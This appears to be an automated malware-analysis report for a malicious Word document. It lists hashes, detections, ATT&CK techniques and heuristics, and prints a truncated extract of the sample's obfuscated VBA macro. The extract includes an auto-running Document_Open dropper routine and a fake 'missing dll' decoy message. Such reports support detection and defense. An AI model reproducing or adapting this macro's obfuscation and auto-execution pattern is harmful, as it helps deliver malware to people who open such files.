Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e04bb1c0a84debca…

MALICIOUS

Office (OLE)

654.5 KB Created: 2018-05-02 06:59:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: ab4f947f4649b9ec28d182b02778aa69 SHA-1: 7d0b494354f1db904f21f52da58f14811c536e15 SHA-256: e04bb1c0a84debcae77cd82b0a27a02cdd68d47214d6bafefec8f5cad71f4a1c
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The macro attempts to construct a string, likely a URL or command, through obfuscated concatenation, and the presence of a CreateObject call suggests it aims to execute arbitrary code. The ClamAV detection name 'Doc.Malware.Valyria-10015839-0' further confirms its malicious nature. The document body's message about a missing DLL and the need to restart the PC is a social engineering tactic to mask the execution of the malicious payload.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 151710 bytes
SHA-256: 34c060b9cd457823638f882660361d01fa8dddf9ddaca6822d6b4635e72c1aea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 170 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit

Private Sub CommandButton1_Click()
MsgBox (" *******  Missing dll  ******* " & vbCrLf & "Restart Your PC to Complete the Process")

End Sub

Sub Document_Open()
On Error Resume Next


Dim YajA, RAJL, SfDY As String
YajA = UTjI(Vbwe)
RAJL = UTjI(oqrn)
SfDY = UTjI(UIlH)


Dim PjNp As String
PjNp = cJvL(VtLu(54, 101))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(202, 184)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(9, 121)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(167, 201)))
PjNp = dATr(PjNp, cJvL(VtLu(247, 144)))
PjNp = dATr(PjNp, cJvL(VtLu(186, 148)))
PjNp = dATr(PjNp, cJvL(VtLu(125, 59)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(72, 36)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(54, 101)))
PjNp = dATr(PjNp, cJvL(VtLu(116, 13)))
PjNp = dATr(PjNp, cJvL(VtLu(230, 149)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(235, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(201, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(65, 35)))
PjNp = dATr(PjNp, cJvL(VtLu(213, 191)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))

Dim jDHQ As String
jDHQ = YajA
Dim RqIm As String
RqIm = ""
RqIm = dATr(RqIm, cJvL(VtLu(228, 167)))
RqIm = dATr(RqIm, cJvL(VtLu(142, 180)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(112, 32)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(247, 144)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(235, 134)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(255, 139)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(116, 35)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(182, 193)))
RqIm = dATr(RqIm, cJvL(VtLu(230, 149)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(216, 190)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(54, 101)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(122, 12)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(7, 100)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(186, 148)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))

Module1.bUkw RqIm, jDHQ, PjNp

Dim TvdG As String
TvdG = ""
TvdG = dATr(TvdG, cJvL(VtLu(228, 167)))
TvdG = dATr(TvdG, cJvL(VtLu(142, 180)))
TvdG = dATr(TvdG, "\")
TvdG = dATr(TvdG, cJvL(VtLu(112, 32)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(164, 203)))
TvdG = dATr(TvdG, cJvL(VtLu(247, 144)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(235, 134)))
TvdG = dATr(TvdG, cJvL(VtLu(107, 47)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(255, 139)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, 
... (truncated)